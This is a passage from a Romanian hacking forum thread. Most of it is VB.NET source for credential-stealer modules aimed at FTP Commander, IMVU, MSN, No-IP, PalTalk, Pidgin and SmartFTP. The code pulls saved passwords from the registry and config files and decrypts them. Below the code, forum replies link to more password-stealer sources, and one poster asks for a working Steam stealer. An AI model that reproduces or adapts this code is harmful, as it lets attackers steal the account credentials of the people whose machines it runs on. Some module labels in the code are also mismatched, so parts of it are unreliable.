                FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============FTP Commander==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
            End Try
        Else
        End If
    End Function
End Module

9.IMVU

Module Imvu
    Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
        On Error GoTo Error_Renamed ' // If Error dont Display Error
        Dim X As Object ' //
        X = CreateObject("WScript.shell") ' // Create REG Object
        ReadKey = X.regread(hKey) ' // Read The Key
        Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
    End Function
    Public Function Hex2Ascii(ByVal Text As String) As String
        Dim Value As Object
        Dim num As Object
        Dim i As Object ' // Simple Function for Pass Hex to Ascii
        Value = Nothing
        For i = 1 To Len(Text) ' Len of Encripted Text
            num = Mid(Text, i, 2) ' // Go Chr by Chr
            Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
            i = i + 1 ' // +1
        Next i ' Next Chr

        Hex2Ascii = Value ' //
    End Function

10. MSN

Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.IO
    Module MSN
    <DllImport("advapi32.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
    Public Function CredEnumerateW(ByVal filter As String, ByVal flag As UInteger, ByVal count As UInteger, ByVal pCredentials As IntPtr) As Boolean
    End Function
    <DllImport("crypt32", CharSet:=CharSet.Auto, SetLastError:=True)> _
    Friend Function CryptUnprotectData(ByRef dataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal optionalEntropy As Integer, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, _
     ByVal pDataOut As DATA_BLOB) As Boolean
    End Function
    Friend Structure CREDENTIAL
        Public Flags As Integer
        Public Type As Integer
        <MarshalAs(UnmanagedType.LPWStr)> _
        Public TargetName As String
        <MarshalAs(UnmanagedType.LPWStr)> _
        Public Comment As String
        Public LastWritten As Long
        Public CredentialBlobSize As Integer
        Public CredentialBlob As Integer
        Public Persist As Integer
        Public AttributeCount As Integer
        Public Attributes As IntPtr
        <MarshalAs(UnmanagedType.LPWStr)> _
        Public TargetAlias As String
        <MarshalAs(UnmanagedType.LPWStr)> _
        Public UserName As String
    End Structure
    Private Cred As CREDENTIAL
    Friend Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As Integer
    End Structure
    Friend Structure UserDetails
        Public uName As String
        Public uPass As String
    End Structure
    Public count As UInteger
    Public pCredentials As IntPtr = IntPtr.Zero
    Public dataIn As DATA_BLOB
    Public dataOut As DATA_BLOB
    Public uDetail As UserDetails
    Public Function getPwd() As String()
        Password()
        Dim pass As String() = {uDetail.uName, uDetail.uPass}
        Return pass

    End Function
    Public Sub Password()
        Try
            Dim ptr As IntPtr = Marshal.ReadIntPtr(pCredentials, 0 * 4)
            Cred = CType(Marshal.PtrToStructure(ptr, Cred.[GetType]()), CREDENTIAL)
            dataIn.pbData = Cred.CredentialBlob
            dataIn.cbData = Cred.CredentialBlobSize
            CryptUnprotectData(dataIn, 0, 0, 0, 0, 1, _
             dataOut)
            dataOut.pbData = dataIn.pbData

            uDetail.uName = Cred.UserName
            uDetail.uPass = (Marshal.PtrToStringUni(New IntPtr(dataOut.pbData)))
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============MSN==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Username: " & uDetail.uName)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Password: " & uDetail.uPass)
            Form1.ztext.AppendText(nl)
            Exit Sub
        Catch x As Exception
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============MSN==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("MSN Could not be recovered!")
            Form1.ztext.AppendText(nl)
            Exit Sub
        End Try
    End Sub
End Module

11. NO-IP

Module No_IP
    Public Function base64Decode(ByVal data As String) As String
        Try
            Dim encoder As New System.Text.UTF8Encoding()
            Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
            Dim todecode_byte As Byte() = Convert.FromBase64String(Data)
            Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
            Dim decoded_char As Char() = New Char(charCount - 1) {}
            utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
            Dim result As String = New [String](decoded_char)
            Return result
        Catch e As Exception
        End Try
    End Function
    Function IpRecord() As String
        Try
            IpRecord = Nothing
            Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
            Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============IMVU==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Username: " & Username)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Password: " & base64Decode(Password))
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("=============================")
            Form1.ztext.AppendText(nl)
        Catch
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============IMVU==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("IMVU Not Installed!")
            Form1.ztext.AppendText(nl)
        End Try
    End Function
End Module

12.PalTalk

Module PalTalk
    Public Function GetHDSerial() As String
        Dim disk As New System.Management.ManagementObject( _
        "Win32_LogicalDisk.DeviceID=""C:""")
        Dim diskPropertyA As System.Management.PropertyData = _
          disk.Properties("VolumeSerialNumber")
        Return diskPropertyA.Value.ToString()
    End Function
    Public Function paltalkscene() As String
        Try
            Dim ser() As Char = GetHDSerial().ToCharArray
            Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
            Dim out As String = ""
            reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
            Dim users As String() = reg.GetSubKeyNames()
            reg.Close()
            For Each s As String In users
                Dim t, o, i, x As Integer
                Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
                Dim chr1 As Char() = pass.ToCharArray
                Dim passarr(pass.Length / 4) As String
                While t <= UBound(chr1) - 4
                    If t < UBound(chr1) - 4 Then
                        passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
                    End If
                    t += 4
                    o += 1
                End While
                Dim key As String = ""
                For Each c As Char In s
                    key += c
                    If i <= UBound(ser) Then
                        key += ser(i)
                    End If
                    i = i + 1
                Next
                key = key & key & key
                Dim chr_arr As Char() = key.ToCharArray
                Dim blainpass As String = ""
                blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
                For x = 1 To UBound(passarr)
                    Dim tempchr As Char
                    If passarr(x) Is Nothing Then
                    Else
                        tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
                        blainpass += tempchr
                    End If
                Next x

                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============PalTalk==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Username: " & s)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & blainpass)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Next
            Return out
        Catch ex As Exception
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============PalTalk==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("PalTalk Not Installed!")
            Form1.ztext.AppendText(nl)
            Return "---"
        End Try
    End Function
End Module

13. Pidgin

Option Explicit On
Imports System.IO
Imports System.Xml
Module Pidgin

    Public Function GetPidgin() As String
        Dim ReadXML As New XmlDocument
        Dim i As Integer
        Dim OutAll = Nothing
        GetPidgin = ""
        Dim FilePath As String = Environ("appdata") & "\.purple\accounts.xml"
        If File.Exists(FilePath) <> True Then
            Exit Function
        Else
            Try
                ReadXML.Load(FilePath)
                Dim Protocol As XmlNodeList = ReadXML.GetElementsByTagName("protocol")
                Dim Username As XmlNodeList = ReadXML.GetElementsByTagName("name")
                Dim Password As XmlNodeList = ReadXML.GetElementsByTagName("password")
                For i = 0 To Protocol.Count - 1
                    OutAll = OutAll & "Pidgin Stealer Logs!" & vbNewLine & "Protocol: " & Protocol(i).InnerText & vbCrLf _
                  & "Username: " & Username(i).InnerText & vbCrLf _
                    & "Password: " & Password(i).InnerText & vbCrLf & vbNewLine
                Next
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============Pidgin==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Username: " & Username(i).InnerText)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & Password(i).InnerText)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============Pidgin==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Pidgin Not Installed!")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            End Try
        End If
    End Function
End Module

14.SmartFTP

Module SmartFTP
    Function SmartFTP() As String
        Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml")
        Dim sFile As String = ReadFile(sPath)
        Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
        Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
        Dim sUser As String = Cut(sFile, "<User>", "</User>")
        Dim sPwd As String = Cut(sFile, "<Password>", "</Password>")
        Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")

        If Not sUser = "" Then
            Try
                SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)"
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============SmartFTP==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Form1.ztext.AppendText("============SmartFTP==============")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("=================================")
            End Try
        Else
        End If
    End Function
    Function ReadFile(ByVal sFile As String) As String
        On Error Resume Next
        Dim OpenFile As New System.IO.StreamReader(sFile)
        ReadFile = OpenFile.ReadToEnd.ToString
    End Function
    Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String
        On Error Resume Next
        Dim c() As String
        Dim c2() As String
        c = Split(sInhalt, sText)
        c2 = Split(c(1), stext2)
        Cut = c2(0)
    End Function
    Function RegRead(ByVal hKey As String) As String
        Dim wshShell As Object = CreateObject("WScript.Shell")
        On Error Resume Next
        RegRead = wshShell.RegRead(hKey)
    End Function
    Public Function ReadLine(ByVal filename As String, _
    ByVal line As Integer) As String
        Try
            Dim lines As String() = My.Computer.FileSystem.ReadAllText( _
              filename, System.Text.Encoding.Default).Split(vbCrLf)
            If line > 0 Then
                Return lines(line - 1)
            ElseIf line < 0 Then
                Return lines(lines.Length + line - 1)
            Else
                Return ""
            End If
        Catch ex As Exception
            Return ""
        End Try
    End Function
End Module

La ce foloseste asta ? fi mai explicit te rog

Shin Newbie

Shin

Posted
Posted

Si invatati si voi ca in Bucuresti termenul corect este "complet" nu "complect" introduce-ne-am picioarele in ea de limba ...

LE: nu-mi spuneti ca-s grammar nazi pentru ca am pretentia sa stie cuvinte din abecedar ;;)

FarSe Newbie

FarSe

Posted
Posted (edited)

http://www.coresec.org/category/programming/

http://www.coresec.org/2011/04/08/delphi-chrome-password-recovery-unit/

http://www.coresec.org/2011/04/22/delphi-mozilla-firefox-password-recovery-unit/

Siteul coresec.org are niste source code-uri foarte interesante

de asemenea

http://www.rohitab.com/discuss/topic/26843-steam-password-stealerdecryper/

Nu cred ca mai merge steam stealer(daca cineva are o sursa buna de steal stealer,il rog sa imi dea un PM cu el) dar gasiti multe exemple de R.E / cracking pe rohitab.

Edited by FarSe

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...